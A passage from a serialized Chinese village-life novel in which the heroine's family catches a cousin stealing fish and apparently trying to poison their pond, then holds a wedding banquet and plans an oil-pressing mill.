付完车钱柳绵绵第一句话就是:“让我哥赶紧去买个摩托三卡吧,我看有人在上面弄了个棚子,还能遮风挡雨的。” 她早先电话里就和余国梁说过了,余国梁一直拖着没买,柳绵绵猜测他是不想又跟她拿钱,毕竟这玩意儿最低端的也要好几百。 不过,这是必要的交通工具,这次她必须得说服余国梁买。 一路往村里走,不少人都是先和王志远打了招呼,然后才发现柳绵绵,可见王志远在村里混得不错。 王志远拎着个竹篮,他刚才在村口竹林里挖竹笋,篮子里有小半篮的竹笋了。 “这笋鲜嫩,回头让婶子炒肉给你们吃,嘎嘎香。” 正经婚宴是明天,不过这年头交通不便,亲戚朋友住得稍微远点,喝喜酒都得提前一天赶过来,所以乡下办酒席都是连吃三天的,当然,头尾两天吃得稍微随便点。 柳绵绵他们刚走到门口,余欢欢和余岁岁就从里面跑了出来,两个孩子哇哇叫:“小姑回来啦,小姑回来啦!” 余岁岁年纪小,过了小半年,其实已经不太认得柳绵绵他们了,不过是跟着余欢欢喊。 许丽从里面跑出来:“哎哟,绵绵,维舟,你们来啦!” 王志远主动介绍了刘婶和王叔,许丽眉开眼笑:“刘嫂子,可算见到你了,哎哟,我那些萝卜条可都全靠你帮着卖掉呢。” 许丽和刘婶虽然是第一次见面,但是他们之间可是有着紧密的商业联系的。 自从发现刘婶卖萝卜条卖得不亦乐乎,柳绵绵就把卖萝卜条的事全权委托给刘婶了,后面进货什么的,也都是让刘婶自己和许丽联系的。 知道城里有那么多人喜欢吃以后,许丽后面又陆续腌了好几茬。萝卜条虽然不起眼,可却让刘婶和许丽都挣了不少钱。 俩人马上热乎地聊上了,成了异父异母的好姐妹。 余永诚招呼王叔,叶兰则是笑眯眯地招呼柳绵绵和沈维舟:“一路过来辛苦了吧,午饭已经吃过了?那我给你们舀点桂圆糖水去,润润喉。” 叶兰当初不太赞成余国梁承包鱼塘和山地,但是余国梁是先斩后奏,她根本没机会阻止。 后面柳绵绵出钱直接把租期给延长了,叶兰可真是心惊胆战啊,不过好在,几个月辛苦,现在花生已经收了,鱼也养肥了,他们夫妻俩夜里悄悄算过,单单这一季就能挣不少! 叶兰可算知道为什么当初柳绵绵让余国梁多签几年合同了,他们第一茬鱼一卖掉,村里就有人想摘桃子接手鱼塘了,要不是当初白纸黑字写清楚了,没准就得被人撬墙角撬走了。 叶兰是真感激柳绵绵。 小姑子去了城里,真是大变样,不但性格变好了,就连眼界都完全不一样了。 柳绵绵他们刚坐下喝了半碗糖水,一个十几岁的少年忽然跑过来,站在院门口大喊:“余大娘,国栋哥让你们快过去,有人想抢鱼呢!” 什么?! 老余家人一下子都站了起来。 两口池塘的鱼现在就是他们的命根子,青天白日的,哪个不要脸的竟然想抢鱼?! 第58章 真是天都塌了 鱼塘边,余国梁和余国栋正抓着一个人在揍。 旁边杨老太太、杨巧巧这对婆媳一直撕扒着兄弟俩,杨老太太哭嚎的声音能传出二里地去:“干什么,你们不能打国兴啊,奶奶的乖孙哦,你们怎么这么恶毒,不就是几条鱼吗,他是你们的兄弟啊,你们有两个池塘的鱼呢,让他拿一点怎么了,怎么了?” 杨巧巧也是哭哭啼啼的:“国梁,国栋,你们别打了,你们别打了!国兴也是没多想,你们奶奶说想吃鱼,他就想着过来捞两条,以为你们不在意的,既然你们不肯,那这鱼我们不要了还不行吗?” 眼看余家兄弟俩真把鱼养起来了,有些人心里就酸上了,这时候看热闹看得高兴,当然也要说几句酸话:“这真是钻进钱眼里去了,自己亲奶奶想吃鱼,就该捞了送上门去,兄弟来捞两条,这就揍上人了,啧啧啧。” “人家国兴在乡里当工人,有正经收入的,哪里就差一两条鱼了,这也就是看着老人想吃,才过来捞的吧。” “别说老人想吃了,嫡亲的堂兄弟呢,就算是国兴自己想吃,捞两条又能怎么的?哎哟,人家都说不要了,还打呢,这也太过分了。” ……… 余永丰匆匆赶到,一声大吼:“余国梁,余国栋,你们是要打死我家国兴吗?!不就是几条破鱼吗,赔你们还不行吗?!你们再打,你们再打,老子抽死你们!” 也不知道他从哪儿弄来的竹棍,挥舞着竹棍就要加入“战局”。 可惜“出师未捷身先死”,刚跑出去两步,就被人一脚绊倒了。 余永丰爬起来,扭头一看,就见老大家那个白净斯文的女婿站在那儿,淡淡地朝他看过来。 他有一瞬间的疑惑,刚才绊倒他的人,是这个小白脸? 柳绵绵站在沈维舟旁边,淡淡说:“打架可不能不讲武德,人家赤手空拳,你拎个棍子去,算怎么回事?” 余永丰差点被气吐血:“那他们两个揍我儿子一个呢,又算怎么回事?!” 柳绵绵无辜:“可是他们已经停手了呀。” 余永丰扭头一看,果然,余国梁余国栋摁着余国兴,但是没有再动手了。 “你们放开他!”余永丰指着余国梁他们。 余国兴也挣扎得很起劲儿,喊着:“爸,爸,大伯!” 余永诚、许丽他们也到了,余永诚脸色不太好看,他没想到抢鱼的竟然是自己亲侄子,但同时又有些为难,为了几条鱼两家这么起冲突确实也不好看。 余永诚犹豫了一下,还是说:“国梁,国栋,算了……” 余国栋是个暴脾气,他打断了亲爹的话:“算个屁!”然后直接把旁边的一个麻袋往前踢了踢,又把滑到草丛里一个玻璃瓶踢了出来,怒吼道:“妈的,余永丰你自己睁开眼睛看看,这是几条鱼吗,这他妈一麻袋的鱼!我奶能吃这么多鱼吗,还是你家这几口人能吃这么多鱼?!” “爸,你也睁开眼睛看看,你的好侄子偷一麻袋鱼还不算,他还想往咱们池塘里倒农药!这个缺德丧良心的,他就是见不得我们挣钱,他是想搞死我们!” 人群哄的一下炸了。 有好事的忍不住上前把麻袋扯开,果然,整整一麻袋的鱼,有的还在甩尾巴,有的已经不动了,再看那个玻璃瓶,妈呀,还真是,满满一瓶子的农药。 这到底是奔着毒死鱼来的,还是奔着毒鱼顺便毒人来的啊? 这也太吓人了。 余国兴可不承认:“我捞你鱼是不对,你说我想往池塘里倒农药就是冤枉我了,这药不是好好的在这里吗,我刚买的放在身上掉出来了而已。”他虽然被揍得鼻青脸肿,但是振振有词,非常淡定。 他奶他妈他爹都在呢,就不可能让他吃亏。 “对对对,这是我让他买了带回来的。”杨巧巧马上说,呜呜咽咽的,“国梁国栋,你们真是误会他了啊,他不是那样的人啊!” 柳绵绵从村民手里拿过农药瓶看了两眼,说:“你们说这瓶农药是刚买的?可是它再过三天就过期了呀,怎么,乡里故意卖快过期的农药给你们吗,那要不咱们一起去乡里问问吧,这可不行,要是大家买到的都是临期产品,到时候庄稼长不好找谁去?” 余国兴一噎,杨巧巧则是惊讶反问:“什么,农药还能过期?” 他们买农药一般每次都只买一点点的,够一季庄稼用就差不多了,当然,偶尔也有买多的,那就下一季继续用呗,可从来没听说过农药还能过期的。 柳绵绵指指瓶子:“保质期写的明明白白呢,过期产品可能药性减弱失效,也可能毒性增强危害作物和人体。” 杨巧巧脱口而出:“幸好昨天没喷。” 柳绵绵挑了下眉:“不是刚买来的吗?” 杨巧巧知道自己失言,忙辩解说:“我是说幸好昨天没买来,不然我就去喷药了。” 柳绵绵呵呵,你看我们信不信你呢? 这事情还有什么不清楚的?围观群众那眼睛都是雪亮的,杨巧巧前后矛盾,加上柳绵绵指出来以后,大家也都仔细看了看那瓶农药,那瓶子上沾了不少灰尘,贴纸也有点发黄了,这确实不像刚买的,倒像是从犄角旮旯里找出来的。 村民们看余国兴和杨巧巧的眼神顿时就不太对了。 他们中也有不少人酸余国梁和余国栋,但是酸归酸,可没人想过要干坏事啊!除了村里那几个没脸没皮小偷小摸的,可能惦记着池塘里的鱼,其他人可真是没想过。 既没想过偷摸去捞条鱼,也没想过搞破坏。 人家勤劳致富,也是人家该得的,酸归酸,可余家人的辛苦他们也是看见了的。这小半年,一家子可从来没闲着,没见余国栋连结婚的时间都推迟了吗? 再说,看到余家成功了,村里不少人心思也活络了,都琢磨着自家也干点什么,像是养蚕啦养鸡啦养兔子啦,好像都不错的,多少能给家里增加点收入。 可不管养什么,要是有人跟余国兴似的搞破坏,那真是完蛋。 柳绵绵精准看向缩在人群后面的村支书:“老书记,这是恶意投毒,虽然被及时制止了,但性质恶劣,应该要找派出所来吧?” 呼,看吧,派出所的戏份又来了。 柳绵绵感觉自己也是很无辜,明明她就想安安分分当个咸鱼,轻轻松松挣个小目标,可怎么走到哪里都能遇上法制咖呢? 哎,还是普法工作不够到位啊,任重道远。 村支书面色微沉,不过并没有反驳柳绵绵的话,哪怕已经有村民在嘀咕“这么点事用得着找派出所吗”,但作为村支书,他的法律意识还是要强一点,知道这个事情确实不是他们村里能解决的,于是喊了个小伙子,让人骑自行车跑一趟乡里。 听说要找派出所,余国兴顿时慌了:“老支书,你不要听他们胡说,青天白日的,我怎么会跑来投毒?真要干这种事情,我不会夜里来吗?我大白天的来,不是擎等着被抓吗?我没有这么蠢的,我真就是来给我奶捞几条鱼。捞鱼嘛,我以为没什么的,这才大白天的过来。” 杨巧巧忙说:“对对对,真要搞破坏,谁会大白天的过来!还有这个农药瓶子上面又没有写名字,这根本不是我们的,跟我们没有关系的。” 杨老太太在一旁干着急,半天插不上嘴,这时候终于也嘶哑着嗓子说:“没错,这不是我们家的,跟我们没关系。国兴就是来帮我捞鱼的,你们这些没良心的白眼狼,我一把年纪了,不就是想吃条鱼吗,你们就这么对我的乖孙!” 其他村民:“……” 你们是忘记了,就刚刚,你们还说农药是你们刚买的了吗? 余国梁死死瞪着余国兴:“你没有夜里过来,是因为你知道,夜里我们这边好几个人轮着守池塘,根本没有下手的机会!你今天过来,就是算准了我们家要办喜事,忙得腾不开手。你想的不错,今天我们守池塘的人确实只有一个,我和老二也是临时想要捞两条鱼才过来的。你一开始没发现我们,还很得意,还骂骂咧咧,说要让我们笑不出来。” “你个缺德丧良心的!”许丽嗷地一声,抢过余永丰手里的棍子,冲上去就给余国兴一顿抽,“你怎么这么坏呢,你们就是看不得我们家好是不是?我家国梁国栋白天干完农活夜里还要守池塘,一宿一宿的熬,才熬出这么点东西,你可真是狠心啊,我打死你,我打死你们这狠毒的母子俩。” 余国兴和杨巧巧马上反击,余国梁和余国栋一看自己亲妈要吃亏,马上再度加入,余永丰后知后觉反应过来,也冲了过去:“你们可别想欺负我儿子!” 余永诚再是好脾气,这时候也忍不住了:“你们这些丧良心的白眼狼,老子帮衬你们多少,你们……”也冲了上去。 柳绵绵倒是蠢蠢欲动,不过明显他们家处于上风,她再加入不太合适,于是忍住了。 村支书再想缩着不管事也做不到了,赶紧招呼旁边的人:“把人拉开,民兵都上去,把余国兴带村委会办公室去!停手,你们都给我停手!” 最后终于把人拉开的时候,余国兴已经被揍成猪头了,杨巧巧和余永丰脸上也挂了彩,余国梁他们倒是还好,只有余国栋脸上被挠了两下挂了彩。 他明天就要结婚,杨巧巧故意的,把把都往他脸上招呼。 许丽看到余国栋脸上的伤,差点又要冲上去。 村支书赶忙让人将余国兴带村委会去了,先给人看管起来,等派出所的人来了再说。 回到家,许丽还在骂骂咧咧,顺带还把余永诚骂了一顿,数落他们余家人狠毒,余永诚沉着脸,一声没吭。 一家人坐在院子里愣了一会儿,许丽站起来,拖着那麻袋鱼去外面处理,叶兰看了眼余国梁,也跟着去了。 余国梁冷着脸坐了一会儿,突然开口说:“老幺,你上回说办榨油坊,你看现在还能办吗?” 柳绵绵诧异看向他,她来之前还在想怎么说服余国梁他们办榨油坊呢,没想到他自己先提出来了。她想了想,说:“行啊,怎么不行?我之前已经了解过,设备南城机械厂下属农机厂就有,跟乡里报备了,找好场地办好手续,机器立马就能到位。” 余国梁扭头和余国栋交换了个眼神,兄弟俩一咬牙:“干了!” 不是看着他们挣钱酸吗,他们就干点大的,让那些人继续酸,酸死最好! 没多久乡里派出所就来人了,直接在村里做了笔录,然后就把余国兴给带走了。 虽然没有造成什么后果,但是他的行为确实非常危险,至少也得受个治安处罚,关一阵子是难免的。 当然,关键是出了这种事,他那个临时工的工作肯定是保不住了,哪个厂子也不敢留着这种狠起来能往自己亲戚家鱼塘投毒的人呐。 余老二家真是天都塌了。 杨老太太和杨巧巧这一对婆媳,生平第一次爆发了极大的矛盾,一个怨老太太贪嘴想吃鱼,一个骂儿媳是害人精是毒妇,吵得那叫一个不可开交。 当然,余国栋的婚宴他们也是没脸参加了的。 余老大家倒是没怎么受影响,余国兴人都被抓走了,工作也要保不住了,也算是咎由自取遭报应了,他们自然也没什么好气的了。 一家子很快调整心情,高高兴兴地准备婚宴。 刘婶和王叔作为外人,倒是一直没掺和余家的事情,不过事后刘婶倒是陪着许丽又骂了余永丰一家子一通,老姐妹的感情进一步得到了升温和巩固。 许丽骂完余永丰一家子,又有些担心地说:“我看国梁国栋这回也是被气到了,这也没跟大家商量,就说要办什么榨油坊,这分明就是堵着一口气呢。这几年大家是宽裕些了,可也没到家家户户需要榨油的地步吧,我还是觉得这事不太行。” 刘婶正帮着做鸡蛋饺,一边往勺子上糊蛋液一边说:“绵绵说行呢,那肯定是能行的。我们维舟的舅爷爷和姨奶奶在港城的,前几个月吧,绵绵让她姨奶奶帮忙买了两支股票,股票你知道吗,嗐,反正是就一种能挣钱的东西,我也解释不来,哦哟,你是不知道,她姨奶奶说的,自从买进去,那股票就一直在涨价,都涨了好几倍了。” 压了压声音,刘婶又说:“我们俞主任说了,绵绵就是天生能挣钱的,叫什么投资圣手,我也不懂什么意思,我瞅着啊,就是财神爷喜欢咱们绵绵,爱叫她挣钱!” 解释不通就归到玄学,身为华国人,这一手刘婶还是很熟练的。 “你想想,你从前也腌萝卜条吧,你有想过拿出去卖吗,你卖出去过吗,没有吧,哦呦,绵绵一出手,是不是就不一样了?”刘婶分析得头头是道,“你看我,我可从来没上过班,我这一辈子花的都是维舟他奶奶给的钱,哦哟,哪里想到哦,老了老了,倒是自己挣上钱了,这也都是亏得绵绵和你哦。” 许丽琢磨了一下,觉得刘婶说的很有道理,换了从前,她哪敢想自己腌萝卜条也能挣上钱? 想到萝卜条,许丽心里又觉得淡定了一点,她也不是不能挣钱,万一,万一榨油坊亏了,其实她也可以腌萝卜条帮儿子还债的。 不过,应该不会亏的,毕竟是绵绵说能行的。 俩人达成了一种莫名其妙的共识。 家里人都忙忙乱乱的,但是柳绵绵和沈维舟却非常清闲,因为大家都认为这俩人帮不了什么忙,别帮倒忙就不错了,都把他俩往外赶。 反正闲着也是闲着,柳绵绵从杂物间里找出一根细竹竿做的简易钓鱼竿,然后就拽着沈维舟去池塘边钓鱼了。 余国梁他们是请了人看鱼塘的,不过他们自己肯定也是要轮流盯着的,尤其是夜里,附近几个村子都知道他们塘里有鱼,这夜里摸过来偷鱼的还真不少,只不过余国梁他们看得太牢,一直没得逞而已。 其实几天余国兴跑来捞鱼,看鱼塘的人也是发现了的,只不过人家是余国梁他们的堂兄弟,看鱼塘的人以为他是知会过余国梁他们的,所以也没当回事。 要不是余国梁他们刚好去了鱼塘,余国兴还真是差点得逞。 经过这件事,看鱼塘的人自然更谨慎了,柳绵绵他们刚一靠近,他就窜了出来,看清人,才笑着说:“是绵绵啊,这大冷天的,你们过来钓鱼啊?” 柳绵绵缩在围巾里,倒是有些佩服对方,自己裹得这么严严实实的,他还能认出来:“嗯嗯,反正也是闲着,我们找个背风的地儿。” 看鱼塘的人笑呵呵给他们指了个方向。 有太阳,没有风,其实还好,不算太冷。 竿子甩出去,柳绵绵就不管了,往后一靠,正好靠进了沈维舟的怀里。沈维舟半拥着她,问:“想钓上鱼来吗?” 柳绵绵转头看他:“这还能由我选择吗?” 沈维舟笑笑,低头在她脸上亲了口:“可以选择。” 柳绵绵左右看看,没看到人,于是干脆伸手拽着他的脖颈往下压了压,沈维舟笑了起来,在她恼羞成怒之前,低头吻住了她的唇。 风有点冷,但是他的吻很烫,柳绵绵很快就没出息地软在了他的怀里,半眯着眼看着男人清俊的眉眼,良久,懒洋洋地说:“那要不咱们钓两条回去?空军回去多没面子。” (′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*)  沈维舟差点没反应过来,随后就笑了起来:“嗯。”他亲了下她的额头。 野外求生对沈维舟来说就跟吃饭喝水一样简单,等到天色渐沉,柳绵绵果然一无所获,沈维舟接手了钓鱼竿,没多久就弄上来两条鱼。 拎着两条鱼走在乡间小道上,身后夕阳把他们的影子拉得长长的,有一种静谧休闲的氛围。沈维舟牵着柳绵绵的手,随口问:“这两条鱼准备怎么做?” 柳绵绵笑得像是偷了鱼的猫儿:“当然是做成咸鱼啦!” “你一条,我一条,做一对快乐的咸鱼。” 沈维舟听不懂,但不妨碍他无条件赞同:“行,回去就让妈把鱼腌起来。”既然是一对咸鱼,那就腌起来带回家好好保存。 不久后,得知女婿要千里迢迢带两条咸鱼回去的许丽:“……” 第59章 有一点礼貌但不多 余家因为又把婚宴推迟了而深感内疚,所以这回婚宴办得特别热闹,菜色准备得尤其丰盛。 除了自家厨房,还临时在院子里搭了灶台,一大早开始,灶上的火就没有熄过,诱人的炖肉香味持续不断地攻击着大家的嗅觉。余欢欢和余岁岁也不出去玩了,俩人搬了小板凳,就坐在离灶台不远的地方,死死盯着直冒热气的锅。 余欢欢:“可真香啊!” 余岁岁点点头,口水流了出来:“想吃。” 还有两个小萝卜头是许丽娘家侄子的孩子,也搬了小板凳坐在他们旁边,热切地盯着热气蒸腾的锅,羡慕地说:“欢欢,你们家真好,有这么多肉吃,我要是你爸爸的孩子就好了。” 由于太无用而沦落到只能和小孩子一样坐在那儿看热闹的柳绵绵噗嗤笑了出来,调戏那小孩:“你干嘛给欢欢爸爸当小孩,他自己都有俩小孩了,你给国栋叔叔当孩子不好吗,他还没有小孩。” 那小孩眼睛一亮,认真点头:“小姑你说的对哎,国栋叔叔没有孩子。” 柳绵绵循循善诱:“那你回头问问他?” 那小孩想了想,突然话锋一转,问:“小姑你也没有孩子,我能不能当你的孩子,我爸说现在家里最有钱的就是小姑,跟着你就能吃香的喝辣的。” 柳绵绵:“……” 没等她开口,坐一旁看报纸的沈维舟突然扭头看向那小孩,严肃道:“除了自己的孩子,你小姑不要其他孩子。” 那孩子被沈维舟严肃的表情吓到,顿时嘴巴一瘪,差点哭出来:“不要就不要,你这么凶,小姑也不会要你的!” 沈维舟:“……” 柳绵绵忍不住笑了出来。 她从兜里掏了几个硬币,给几个小孩每人分了一个,说:“行了,你们自己藏着,别给你们爸妈,回头自己去小卖部买吃的。” 几个小孩顿时欢呼起来,那小孩也破涕为笑,扭头和另外几个叽叽喳喳地讨论起什么时候去小卖部、以及去小卖部买什么了。 除了这几个小孩,其实余家的院门口还趴着一排小屁孩,都流着口水,一脸向往地看着院子里的大锅。 “许奶奶说小孩儿也能上桌,回头我可得多吃一点。” “我也会多吃一点,我吃得比你还多,我要把一锅的肉全部吃完。” “我才吃的多,我要把所有东西都吃完,吃成超级无敌大胖子。” …… 小孩子的胜负欲也是很强的。 不过这年头对老百姓来说吃真的是头等大事,就说这些孩子吧,其实现在也还没放假,照理他们都是要上学的,但是因为要吃席,所以家长就给他们请了假。 这时候吃席可是比上学还要重要的事情。 难得能大吃一顿的机会,家长们可不会让自家孩子错过,多吃一块肉,没准就能多长一点个子呢。 噼里啪啦的鞭炮声响起,新娘子被迎回来了,趴在门槛上小孩子一骨碌都爬了起来,欢天喜地地跑去接新娘子,很快门外就传来孩子们的欢呼声,这是接新娘子得到喜糖了。 余欢欢他们自然也早跑出去了,只有余岁岁,坐在凳子上动作笨拙地往下溜,裤子还被凳子上的钉子勾住了,半天扒拉不开,给小家伙都急坏了。 柳绵绵围观他扒拉半天,才偷笑着过去一把将小家伙抱了起来,往他罩衫前面的小兜兜里塞了几块糖:“你就别去了,一会儿被人撞到踩到,来,小姑给你糖,保准比他们的还甜。” 顺便往他嘴里塞了一块,小家伙立马眉开眼笑,抱着小姑的脖子就不撒手了。 但是下一刻,他就被人抱了过去,小家伙扭头一看,怼上沈维舟面无表情的脸,呆愣几秒,嘴角一瘪,哇地就哭了。 柳绵绵笑得直不起腰,沈维舟可真是小孩杀手,甭管哪个小孩,看见他就没有不瘪嘴的。 沈维舟无奈,只能把余岁岁放回板凳上:“坐着吃糖,别乱跑。”也别缠着你小姑。 几句话工夫,新娘子进门了,被一群人簇拥着,轰地一下就去了婚房。 柳绵绵看了眼坐在板凳上瘪嘴吃糖的余岁岁,又看了眼欢笑声不断的新房方向,沈维舟侧头看她一眼,说:“你想去看热闹就去吧,我看着孩子。” 他们也不是完全没任务,家里人都忙着,小孩儿就归他们看了,尤其余岁岁还小,人一多容易磕着碰着。 余岁岁抬头向柳绵绵看过来,大眼睛水汪汪的,满满的都是不想小姑走,柳绵绵往他小衣兜里又放了几块糖,挥挥手,一转身就跑了。 留下一大一小面面相觑。 余岁岁瘪瘪嘴。 沈维舟尽量柔和了神色,嘴上说的却是:“糖也不能多吃。” 余岁岁想哭,可左右看看,没看到任何熟悉的人,瘪瘪嘴,把眼泪又憋了回去。 沈维舟暗暗舒了一口气。 婚宴的桌子就摆在余家院子外面的空地上,直接点说,其实就是外面的路上,一长溜,十几桌。 就像许丽给孩子们承诺的,不管大人小孩,都上桌。这在十里八乡都是少有的,毕竟他们这边不少村子,女人吃饭都不能上桌的,小孩自然也是。 许丽可不管。 国梁结婚的时候,家里经济不宽裕,彩礼钱都是拼拼凑凑起来的,还打了一点饥荒,国栋结婚,他们老两口倒是攒了一点钱,但是其实也不算宽裕,更不可能大操大办。 可谁让他们挣钱了呢? 虽然鱼才卖了一茬,花生也才卖了一小部分,可鱼塘、山地的租金,还有前期的一些钱,像是鱼苗饲料什么的,都是老幺出的钱,所以他们是没有外债的。家里商量了以后,就决定把这回挣的钱先给国栋娶亲,后面卖的钱,到时候再还给老幺。 当然,还有很重要的一点事,许丽自己也挣钱了。 萝卜干的销量真的挺不错的,尤其知青菜场那边,都积累了一批固定客户了。这东西又不贵,吃完了不少人都会回购,然后口碑慢慢积累起来以后,买的人自然也就越来越多。加上腌萝卜干的成本很低,所以这笔钱差不多就等于是净赚了。 有钱自然底气足,许丽安排娶亲事宜的时候,就没打算抠抠搜搜。 喜宴开席,一溜桌子排过去还挺壮观的。今天最开心的就是小孩子了,刚从新房里领了一大把糖果,这边又呼啦啦爬上了桌子,翘着脑袋一看,哇,好多肉,还有鱼……吸溜。 柳绵绵和沈维舟被安排在了主桌,同桌的还有村里的几个长辈、女方的几个亲戚。 柳绵绵早饿了,一看桌上人坐满了,于是笑着说了声“大家别客气多吃点儿”,就举起筷子夹了一块红烧肉。这种柴火灶上慢炖出来的红烧肉,真是谁吃谁知道,那叫一个软糯,那叫一个香! 留下村姓余的里面辈分最高的余兆祥,年纪倒是和余永诚差不多,只不过他比余永诚还高了一辈儿,自觉算得上德高望重的他,原本还想代表余家人说两句,没想到被柳绵绵给截胡了,直接被剥夺了发言机会。 他脸色顿时黑了,坐那儿半天没动弹。 结果一抬眼,就发现不管是姓余的几个,还是女方那几个,在柳绵绵话音落下的瞬间,就都二话不说地操起筷子冲向了那盘红烧肉。 别看现在大家条件比七十年代时好了不少,可大多数人也就是能混个温饱罢了,大块吃肉大口喝酒的机会可不多的,有机会吃喝,谁还在乎其他人说什么,吃都来不及了! 余兆祥抻了一会儿,发现压根没人理他,闻着满桌的菜香,只好拿了筷子去抢红烧肉。 是的,抢。 别看一盘肉份量挺足,可一桌子人呢,每人打底能吃到一块,再想多吃就得靠眼疾手快了。 就余兆祥愣神的工夫,其他人已经一块肉下肚,开始往第二块进攻了。余兆祥慢了一步,加上端着长辈的架子,没好意思太过分,于是眼睁睁看着自己看中的大块好肉被人夹走,最后只抢到了一块小小的、瘦不拉几的肉。 余兆祥:“……” 气得差点把肉扔了,不过没舍得,还是吃了。吃了以后越想越生气,扭头看见欢快吃鱼的柳绵绵,就更加觉得不舒服了。 他啪地放下筷子,叹了口气,说:“咱们在这里大鱼大肉的,想想国兴,还被关在派出所里,杨大姐和永丰家的,在家以泪洗面,我这饭真是一点都吃不下去。” 柳绵绵:“?” 她看向余兆祥,真心诚意说:“您老既然吃不下,要不就先回去?我看隔壁桌挺挤的,正好让他们挪一个过来。” 余兆祥差点没被气死:“你这是在赶我走?” 柳绵绵:“……这不是您自己说吃不下,我琢磨着吃不下还坐着,不是耽误您时间吗?” 余兆祥怒道:“你不要装模作样,天底下哪有这样的婚宴,亲叔叔也罢了,亲奶奶也没到场,这还像话吗?因为几条鱼,就把亲兄弟送去坐班房,你们家不能挣了点钱,就这么自私自利,六亲不认。这样下去,谁还敢跟你们家来往?都是一家人,血浓于水,有什么事情不能坐下来好好谈的,你们这样不给国兴一家留活路,以为你们以后就能好了?” 柳绵绵懂了,这是倚老卖老找茬来了呢。 她筷子没停,边吃边说:“我爸去叫过很多次了,他们不过来,我们总不能把他们绑过来吧?还有,余国兴会被抓走,是因为他偷鱼还投毒,他自己做错事受到惩罚,关我们家什么事情?难不成我家乖乖让他投毒,最好吃了毒鱼死光光,才算对得起他?” 一位余姓长辈嘶地一声,忍不住说:“大喜的日子,可不能说什么死不死的,不吉利。” 女方的几个亲戚则是满脸的惊奇,一副又想吃瓜,又不好意思太明目张胆的样子。 柳绵绵一指余兆祥:“大喜的日子,他搞这么一出是想干嘛呢,要不想吃就赶紧回去歇着,不然回头我二哥过来,怕是真得揍人。” 余兆祥一向端着长辈架子训人训惯了,还是头一回被小辈这样反驳,顿时气得满脸通红,“你,你还有一点礼貌吗?!” 柳绵绵嘀咕:“放下个人素质,享受缺德人生。” 抬头笑眯眯说:“我有一点礼貌,但是不多,比如有人找茬的时候,我就没有。” 余兆祥成功被气走。 柳绵绵笑眯眯又说了一句“大家别客气多吃点”,然后就面不改色地继续吃了起来。 沈维舟一直很淡定,慢条斯理地往柳绵绵碗里夹菜。 余兆祥这种水平的,跟沈文山那一家子段位天差地别,他媳妇儿连沈文山那一家子都是轻松收拾,收拾余兆祥简简单单。 其他人就没有沈维舟这么淡定了。余姓几个面面相觑一会儿之后,看看桌上丰盛的菜色,终究舍不得走,干笑着埋头继续苦吃。 至于女方那几个,也是对视几眼后,冲林山梅的哥哥林山根偷偷竖了个大拇指,这才继续风卷残云。 这么好的席面不吃,那才是傻子。 除了这个小插曲,婚宴上倒是再没什么事。想也是,一般人都忙着吃吃喝喝呢,哪有心思搞什么幺蛾子,就是平时跟许丽不怎么对付的几个婶子,都是挥舞着筷子埋头苦吃,压根没有挑事的欲望。 这老余家是真不一样了啊,这席面做的,怎么就这么阔气? 羡慕嫉妒恨但狂吃。 第60章 餐厅可能开不下去了?…… 余国栋婚宴后,柳绵绵又多留了一天,和他们商量搞榨油坊的事情。开榨油坊也简单,只要资金到位、设备到位,乡里同意,很快就能开起来。 留下村是个大村,离乡里不算太远,处在西面不少村子往乡里走的必经之路上。 村里原先有个老地主,用剥削佃农挣下的钱在路口修了一座大宅子,建国后,老地主见形势不妙,拖家带口地跑了,那座宅子也就归了村里所有。 可惜这座宅子离村子有点远,孤零零地杵在路边,村里也想不好拿来做什么,就堆了些杂物。前些年“运动”的时候,倒是有红小兵在里面嚯嚯了一阵子,把房子都嚯嚯得乱七八糟了,连墙都倒了一部分。 柳绵绵有原主的记忆,琢磨开榨油坊的时候就看上了这里,和余国梁他们一商量,大家都觉得合适。这地方刚好在路边,交通方便,而且房子因为被嚯嚯得不成样,住人不太行的,所以要是租的话,应该也花不了几个钱。 就是需要修补一下。 想修补起来住人难,修补起来开个作坊,其实简单的。 然后就是乡里那边,余国梁因为买化肥和种花生的事情,跟乡里关系处得很好。而且这半年,他自己搞种养殖,也知道各项政策的重要性,经常主动跑乡里了解政策,因为柳绵绵之前就提过办榨油坊的想法,他其实也一直在关注的,所以审批什么的,他是有信心能办下来的。 再就是宣传了。 乡里也有榨油坊,不过那个榨油坊的设备非常老旧,还经常坏,乡里也没钱置换新的,只能修修补补的用,所以每个月只营业半个月。就这,榨出来的油质量也非常一般。 这也是柳绵绵提议开榨油坊的原因之一。 明显有市场有需求,但是乡里各方面建设都需要钱,资金有限,顾不上这个“小事情”。 确实,单看眼前,群众的榨油需求并没有那么强烈,乡里那个榨油坊也还能凑合干。 但是,随着新品种花生的出现,前进乡数量庞大的、原先大多被闲置了的山地,会逐渐都种上花生。不用太久,就明年吧,全乡花生的种植面积和产量就会大幅度增长。 到时候花生会成为前进乡的重要经济作物,老百姓会背着花生排着队来榨油。 当然,前提是他们得让更多的人知道,这里有个榨油坊。 开起来之前就常规宣传一下,开业以后可以搞几个活动,这个到时候再细说。 剩下就是资金和设备了,这个就更没问题了。 柳绵绵一项一项地梳理,原本感觉很难的事情,到了她嘴里,立马就变得轻松无比。 刚嫁进来的林山梅目瞪口呆,悄悄扯扯余国栋的袖子:“你妹这么能干的啊?” 她之前就见过原主两回,一回是来家里吃饭,一回是在乡里偶遇,基本没怎么说过话,只听余国栋说自家妹子脾气大,可真没想到,她这么厉害。 这么厉害的姑娘,脾气大一点不是再正常不过吗? 余国栋挠挠脑袋,想说老幺从前好像没这么厉害,但是又不太确定,毕竟从前家里没钱,说不准是原来的环境限制了老幺呢? 于是只能含糊说:“是挺厉害的。” 林山梅顿时两眼放光,悄悄说:“咱们可得听你妹的,我觉得啊,跟着她以后咱们没准也能挣大钱。” 她和余国栋其实也处了挺久了,这年头像他们这样,处了这么久才结婚的,其实是很少很少的。也是她家里思想太古板,老觉得她不能越过前头的哥哥去,不好听,怕她哥更难找对象。 不过,林山梅觉得自己等待了这么久,其实也没白等。 原先余家条件一般般,他们要是结婚早,余家不可能给她那么多彩礼,更不可能办那么多桌酒席的。 她虽然结婚晚,但是余家因为又推辞了婚宴,所以给她加了彩礼,至于酒席,不管是出于补偿她,还是趁机在村里博个面子,总归最后得益的人是她。 之前她一直没结婚,他们村里还有些闲言碎语,但是婚宴结束以后,相信村里很快就会传开了,她的婚礼可是很体面了。 更不要说,现在余家有鱼塘,有山地,接下来还要办榨油坊。 